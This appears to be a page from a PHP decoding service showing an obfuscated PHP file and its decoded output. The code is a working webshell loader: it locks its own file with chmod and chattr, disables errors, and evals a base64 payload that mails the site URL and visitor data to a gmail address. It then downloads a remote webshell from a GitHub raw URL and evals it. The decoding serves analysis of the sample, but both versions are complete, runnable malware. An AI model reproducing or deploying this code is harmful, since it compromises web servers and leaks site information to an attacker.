Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

<?php ${"\x47\x4cO\x42A\x4cS"}["\x67\x6d\x64m\x64\x68\x68"] = "\x77ly\x61\x68\x69\x7..

Decoded Output download

<?php 
${"GLOBALS"}["gmdmdhh"] = 
    "wlyahiststo"; 
${"GLOBALS"}["qstgmisep"] = 
    "wwnvjxmvkwd"; 
${"GLOBALS"}["gbhqdub"] = "pageFTP"; 
$pjuxlploz = "pageFTP"; 
${"GLOBALS"}["kcysxzirh"] = "zv"; 
${"GLOBALS"}["rwrlonkd"] = "sys"; 
${"GLOBALS"}["yqjldnhbr"] = 
    "pageURL"; 
${"GLOBALS"}["diakrfruk"] = 
    "wlyahiststo"; 
${"GLOBALS"}["bqqppsmiof"] = 
    "injbuff"; 
${"GLOBALS"}["paejvds"] = "u"; 
${"GLOBALS"}["dxqgughqbupg"] = 
    "this_file"; 
$gjoijidwxx = "pageURL"; 
$scryol = "pageFTP"; 
${${"GLOBALS"}[ 
    "dxqgughqbupg" 
]} = __FILE__; 
@system("chmod ugo-w $this_file"); 
@system("chattr +i $this_file"); 
${"GLOBALS"}["isdmimsjln"] = "u"; 
ignore_user_abort(true); 
ini_set("memory_limit", "-1"); 
set_time_limit(0); 
error_reporting(0); 
ini_set("display_errors", 0); 
ini_set("max_execution_time", 5000); 
${${"GLOBALS"}["dxqgughqbupg"]} = __FILE__; 
@system("chmod ugo-w $this_file"); 
@system("chattr +i $this_file"); 
${$gjoijidwxx} = 
    "http://" . 
    $_SERVER["SERVER_NAME"] . 
    $_SERVER["REQUEST_URI"]; 
$lomsuaxxx = "injbuff"; 
$qwjfqufq = "u"; 
${${"GLOBALS"}["paejvds"]} = explode( 
    "/", 
    ${${"GLOBALS"}["yqjldnhbr"]} 
); 
${${"GLOBALS"}["yqjldnhbr"]} = str_replace( 
    ${${"GLOBALS"}["paejvds"]}[ 
        count(${${"GLOBALS"}["paejvds"]}) - 1 
    ], 
    "", 
    ${${"GLOBALS"}["yqjldnhbr"]} 
); 
${${"GLOBALS"}["rwrlonkd"]} = 
    $_SERVER["HTTP_HOST"] . $_SERVER["REQUEST_URI"]; 
${"GLOBALS"}["atakfxtx"] = 
    "wwnvjxmvkwd"; 
${"GLOBALS"}["ydpcijhqc"] = 
    "pageFTP"; 
${${"GLOBALS"}["kcysxzirh"]} = "mail"; 
${${"GLOBALS"}["gbhqdub"]} = 
    "ftp://" . 
    $_SERVER["SERVER_NAME"] . 
    "/public_html/" . 
    $_SERVER["REQUEST_URI"]; 
${${"GLOBALS"}["isdmimsjln"]} = explode( 
    "/", 
    ${$pjuxlploz} 
); 
${$scryol} = str_replace( 
    ${$qwjfqufq}[count(${${"GLOBALS"}["paejvds"]}) - 1], 
    "", 
    ${${"GLOBALS"}["ydpcijhqc"]} 
); 
${${"GLOBALS"}["bqqppsmiof"]} = 
    "JHZpc2l0YyA9ICRfQ09PS0lFWyJ2aXNpdHMiXTsKaWYgKCR2aXNpdGMgPT0gIiIpIHsKICAkdmlzaXRjICA9IDA7CiAgJHZpc2l0b3IgPSAkX1NFUlZFUlsiUkVNT1RFX0FERFIiXTsKICAkd2ViICAgICA9ICRfU0VSVkVSWyJIVFRQX0hPU1QiXTsKICAkaW5qICAgICA9ICRfU0VSVkVSWyJSRVFVRVNUX1VSSSJdOwogICR0YXJnZXQgID0gcmF3dXJsZGVjb2RlKCR3ZWIuJGluaik7CiAgJGp1ZHVsICAgPSAiMTc4LUJsYWNrIGh0dHA6Ly8kdGFyZ2V0IGJ5ICR2aXNpdG9yIjsKICAkYm9keSAgICA9ICJCdWc6ICR0YXJnZXQgYnkgJHZpc2l0b3IgLSAkdXNlciAtICRwYXNzIjsKICBpZiAoIWVtcHR5KCR3ZWIpKSB7IEBtYWlsKCJtYWxheXNpYS5zZW5kZXJAZ21haWwuY29tIiwkanVkdWwsJGJvZHksJHVzZXIsJHBhc3MpOyB9Cn0KZWxzZSB7ICR2aXNpdGMrKzsgfQpAc2V0Y29va2llKCJ2aXNpdHoiLCR2aXNpdGMpOw=="; 
eval(base64_decode(${$lomsuaxxx})); 
${"GLOBALS"}["nttrheoevfn"] = 
    "result"; 
${${"GLOBALS"}["diakrfruk"]} = 
    "result"; 
${"GLOBALS"}["zjbkkpswfbr"] = 
    "ch"; 
${"GLOBALS"}["vbceechmecs"] = 
    "url"; 
${${"GLOBALS"}[ 
    "vbceechmecs" 
]} = 
    "https://raw.githubusercontent.com/exploit-haxor/webshell/main/-21one.php"; 
${${"GLOBALS"}["atakfxtx"]} = "url"; 
${${"GLOBALS"}[ 
    "zjbkkpswfbr" 
]} = curl_init(${${${"GLOBALS"}["qstgmisep"]}}); 
curl_setopt( 
    ${${"GLOBALS"}[ 
        "zjbkkpswfbr" 
    ]}, 
    CURLOPT_RETURNTRANSFER, 
    1 
); 
${${${"GLOBALS"}["gmdmdhh"]}} = curl_exec( 
    ${${"GLOBALS"}["zjbkkpswfbr"]} 
); 
eval( 
    "?>" . 
        ${${"GLOBALS"}[ 
            "nttrheoevfn" 
        ]} 
); 
 
?>

Did this file decode correctly?

Original Code

<?php
${"\x47\x4cO\x42A\x4cS"}["\x67\x6d\x64m\x64\x68\x68"] =
    "\x77ly\x61\x68\x69\x73t\x73\x74\x6f";
${"G\x4c\x4f\x42\x41\x4c\x53"}["\x71s\x74\x67\x6d\x69\x73\x65\x70"] =
    "ww\x6e\x76\x6axm\x76k\x77\x64";
${"\x47L\x4f\x42A\x4c\x53"}["\x67bh\x71dub"] = "\x70\x61g\x65\x46T\x50";
$pjuxlploz = "pa\x67\x65\x46T\x50";
${"\x47\x4c\x4fB\x41\x4c\x53"}["\x6b\x63ys\x78\x7air\x68"] = "\x7a\x76";
${"G\x4c\x4f\x42\x41LS"}["\x72w\x72\x6c\x6fn\x6b\x64"] = "s\x79\x73";
${"\x47\x4c\x4f\x42\x41\x4cS"}["\x79\x71j\x6c\x64\x6eh\x62\x72"] =
    "\x70\x61geU\x52L";
${"\x47L\x4f\x42\x41L\x53"}["\x64\x69\x61\x6b\x72\x66\x72\x75k"] =
    "wl\x79ah\x69s\x74\x73\x74o";
${"\x47L\x4f\x42\x41\x4c\x53"}["\x62q\x71\x70\x70\x73m\x69\x6f\x66"] =
    "\x69\x6ej\x62\x75f\x66";
${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x70\x61\x65jvd\x73"] = "\x75";
${"\x47L\x4f\x42\x41L\x53"}["\x64x\x71g\x75\x67\x68qb\x75\x70g"] =
    "\x74h\x69\x73_\x66\x69le";
$gjoijidwxx = "\x70age\x55\x52L";
$scryol = "pag\x65\x46\x54\x50";
${${"\x47\x4c\x4f\x42\x41LS"}[
    "d\x78\x71\x67\x75\x67\x68\x71\x62\x75\x70g"
]} = __FILE__;
@system("\x63hmod\x20\x75g\x6f-w\x20$this_file");
@system("\x63\x68\x61ttr +\x69 $this_file");
${"GL\x4f\x42\x41\x4c\x53"}["\x69s\x64\x6d\x69\x6d\x73\x6a\x6c\x6e"] = "\x75";
ignore_user_abort(true);
ini_set("me\x6d\x6f\x72y\x5fl\x69mi\x74", "-1");
set_time_limit(0);
error_reporting(0);
ini_set("d\x69\x73p\x6ca\x79_\x65rr\x6f\x72s", 0);
ini_set("m\x61x_\x65xec\x75\x74\x69\x6f\x6e\x5f\x74i\x6de", 5000);
${${"\x47\x4c\x4fB\x41LS"}["dx\x71g\x75\x67\x68\x71\x62u\x70\x67"]} = __FILE__;
@system("c\x68\x6dod u\x67o-\x77\x20$this_file");
@system("\x63\x68at\x74\x72\x20+\x69 $this_file");
${$gjoijidwxx} =
    "\x68\x74t\x70://" .
    $_SERVER["S\x45RVE\x52\x5fN\x41\x4dE"] .
    $_SERVER["R\x45\x51UEST\x5fUR\x49"];
$lomsuaxxx = "in\x6a\x62uf\x66";
$qwjfqufq = "\x75";
${${"\x47L\x4f\x42\x41\x4cS"}["\x70ae\x6a\x76\x64\x73"]} = explode(
    "/",
    ${${"\x47\x4c\x4f\x42A\x4c\x53"}["\x79\x71j\x6c\x64n\x68\x62\x72"]}
);
${${"\x47\x4cO\x42\x41L\x53"}["\x79qj\x6c\x64n\x68b\x72"]} = str_replace(
    ${${"G\x4c\x4f\x42\x41LS"}["\x70a\x65\x6a\x76\x64\x73"]}[
        count(${${"GL\x4fB\x41\x4cS"}["\x70\x61\x65\x6av\x64\x73"]}) - 1
    ],
    "",
    ${${"\x47LO\x42A\x4c\x53"}["\x79\x71j\x6c\x64\x6e\x68\x62r"]}
);
${${"\x47L\x4f\x42\x41\x4c\x53"}["r\x77\x72\x6c\x6f\x6e\x6b\x64"]} =
    $_SERVER["\x48\x54\x54\x50_HO\x53T"] . $_SERVER["RE\x51\x55\x45ST\x5fURI"];
${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x61ta\x6b\x66xtx"] =
    "wwn\x76\x6ax\x6d\x76k\x77\x64";
${"G\x4cO\x42\x41\x4cS"}["\x79\x64p\x63i\x6a\x68\x71\x63"] =
    "\x70a\x67e\x46T\x50";
${${"\x47\x4c\x4fBA\x4cS"}["k\x63ys\x78\x7a\x69\x72h"]} = "\155\x61\x69\154";
${${"\x47\x4c\x4f\x42\x41LS"}["\x67\x62h\x71\x64\x75\x62"]} =
    "f\x74\x70://" .
    $_SERVER["S\x45\x52VER_N\x41ME"] .
    "/\x70\x75bl\x69c\x5fh\x74\x6d\x6c/" .
    $_SERVER["R\x45Q\x55\x45\x53T_\x55\x52I"];
${${"\x47\x4cO\x42AL\x53"}["\x69\x73\x64m\x69\x6d\x73\x6a\x6c\x6e"]} = explode(
    "/",
    ${$pjuxlploz}
);
${$scryol} = str_replace(
    ${$qwjfqufq}[count(${${"\x47\x4cO\x42ALS"}["pa\x65j\x76\x64\x73"]}) - 1],
    "",
    ${${"\x47\x4cOB\x41L\x53"}["\x79\x64\x70\x63\x69\x6a\x68\x71c"]}
);
${${"\x47\x4c\x4f\x42\x41\x4cS"}["\x62\x71\x71\x70psm\x69o\x66"]} =
    "\x4a\x48\x5a\x70\x63\x32l\x30\x59\x79\x41\x39\x49CRf\x51\x309\x50\x530lF\x57y\x4a2\x61X\x4e\x70\x64\x48MiX\x54\x73\x4b\x61W\x59gKCR\x32\x61\x58\x4ep\x64G\x4dg\x50\x540g\x49\x69\x49p\x49\x48\x73K\x49\x43\x41kdm\x6czaXRjICA9ID\x417\x43iA\x67JHZ\x70c\x32\x6c0b3IgP\x53\x41kX1\x4eF\x55lZF\x55\x6csi\x55\x6b\x56\x4e\x541\x52FX\x30\x46ER\x46\x49\x69X\x54s\x4b\x49C\x41k\x642\x56\x69\x49C\x41\x67\x49\x43A\x39\x49\x43R\x66U0VSV\x6bV\x53W\x79\x4a\x49\x56FR\x51X\x30\x68\x50U1Qi\x58\x54\x73KI\x43\x41k\x61W\x35qIC\x41gICA9I\x43\x52fU0V\x53Vk\x56\x53\x57y\x4aS\x52\x56\x46V\x52\x56N\x55\x581\x56SS\x53\x4ad\x4fw\x6f\x67\x49\x43R\x30\x59X\x4a\x6e\x5a\x58\x51\x67ID\x30\x67c\x6dF3d\x58J\x73ZGVjb\x32\x52lKC\x52\x33ZW\x49uJ\x47\x6c\x75ai\x6b7CiAg\x4a\x47\x701ZHV\x73I\x43A\x67PSAiM\x54c\x34\x4cU\x4asY\x57\x4erI\x47\x680d\x48A6\x4c\x79\x38k\x64\x47\x46y\x5a\x32\x560\x49\x47\x4a5\x49\x43\x522aXN\x70d\x479yI\x6asKIC\x41\x6bYm9keS\x41g\x49\x43\x41\x39ICJ\x43dW\x636I\x43\x52\x30\x59X\x4anZ\x58QgY\x6ekg\x4a\x48\x5a\x70c\x32\x6c\x30b3\x49g\x4cSAkd\x58\x4e\x6c\x63\x69\x41\x74\x49\x43R\x77\x59\x58Nz\x49\x6as\x4b\x49\x43Bp\x5ai\x41o\x49\x57V\x74\x63HR5\x4b\x43R3Z\x57Ip\x4b\x53\x427IE\x42tY\x57ls\x4bCJt\x59W\x78h\x65\x58Np\x59S5zZW\x35\x6b\x5aXJ\x41Z21\x68a\x57\x77\x75\x59\x32\x39\x74\x49\x69\x77ka\x6eV\x6b\x64W\x77\x73JGJ\x76ZH\x6b\x73J\x48Vz\x5a\x58\x49sJH\x42h\x633\x4d\x70OyB9Cn0\x4bZWxz\x5a\x53\x427IC\x522\x61X\x4e\x70\x64GM\x72Kzsgf\x51\x70\x41\x632V0\x59\x32\x39v\x61\x32ll\x4b\x43J2\x61X\x4e\x70dH\x6f\x69\x4cCR2\x61\x58N\x70\x64\x47\x4dp\x4f\x77\x3d=";
eval(base64_decode(${$lomsuaxxx}));
${"\x47\x4cO\x42A\x4c\x53"}["\x6et\x74\x72\x68\x65\x6f\x65\x76\x66\x6e"] =
    "r\x65\x73\x75\x6c\x74";
${${"\x47LO\x42\x41\x4c\x53"}["\x64i\x61\x6b\x72fr\x75\x6b"]} =
    "\x72\x65\x73\x75\x6c\x74";
${"\x47\x4c\x4f\x42A\x4c\x53"}["\x7a\x6a\x62k\x6bp\x73w\x66\x62\x72"] =
    "\x63\x68";
${"\x47\x4c\x4f\x42A\x4c\x53"}["\x76\x62\x63\x65\x65\x63\x68\x6d\x65\x63s"] =
    "\x75\x72l";
${${"\x47\x4c\x4f\x42\x41\x4c\x53"}[
    "\x76\x62\x63\x65\x65\x63\x68\x6d\x65\x63\x73"
]} =
    "\x68\x74\x74\x70s://r\x61\x77\x2e\x67\x69\x74\x68\x75\x62\x75\x73\x65\x72\x63\x6f\x6e\x74\x65\x6e\x74\x2e\x63\x6f\x6d/e\x78\x70\x6c\x6f\x69\x74-\x68\x61x\x6f\x72/\x77\x65\x62\x73\x68\x65\x6c\x6c/\x6d\x61\x69\x6e/-\x32\x31\x6f\x6e\x65\x2e\x70\x68\x70";
${${"\x47\x4cOB\x41\x4cS"}["a\x74\x61\x6b\x66\x78t\x78"]} = "\x75\x72\x6c";
${${"\x47\x4c\x4f\x42A\x4cS"}[
    "\x7a\x6ab\x6b\x6b\x70\x73w\x66\x62\x72"
]} = curl_init(${${${"\x47\x4c\x4f\x42\x41\x4c\x53"}["qst\x67\x6di\x73ep"]}});
curl_setopt(
    ${${"\x47\x4c\x4f\x42\x41\x4c\x53"}[
        "z\x6a\x62\x6bk\x70\x73\x77\x66\x62\x72"
    ]},
    CURLOPT_RETURNTRANSFER,
    1
);
${${${"\x47LO\x42\x41\x4c\x53"}["g\x6dd\x6d\x64\x68\x68"]}} = curl_exec(
    ${${"\x47\x4c\x4fB\x41\x4c\x53"}["\x7aj\x62\x6b\x6bp\x73\x77fb\x72"]}
);
eval(
    "?\x3e" .
        ${${"\x47\x4c\x4f\x42A\x4c\x53"}[
            "\x6e\x74\x74\x72\x68\x65o\x65\x76\x66\x6e"
        ]}
);

?>

Function Calls

system 1

Variables

$scryol pageFTP
GLOBALS [{'key': 'gmdmdhh', 'value': 'wlyahiststo'}, {'key': 'qstgmisep', 'value': 'wwnvjxmvkwd'}, {'key': 'gbhqdub', 'value': 'pageFTP'}, {'key': 'kcysxzirh', 'value': 'zv'}, {'key': 'rwrlonkd', 'value': 'sys'}, {'key': 'yqjldnhbr', 'value': 'pageURL'}, {'key': 'diakrfruk', 'value': 'wlyahiststo'}, {'key': 'bqqppsmiof', 'value': 'injbuff'}, {'key': 'paejvds', 'value': 'u'}, {'key': 'dxqgughqbupg', 'value': 'this_file'}]
this_file index.php
$pjuxlploz pageFTP
$gjoijidwxx pageURL

Stats

MD5 1b26a69a315fe00194ee7f54c4ae21f7
Eval Count 0
Decode Time 86 ms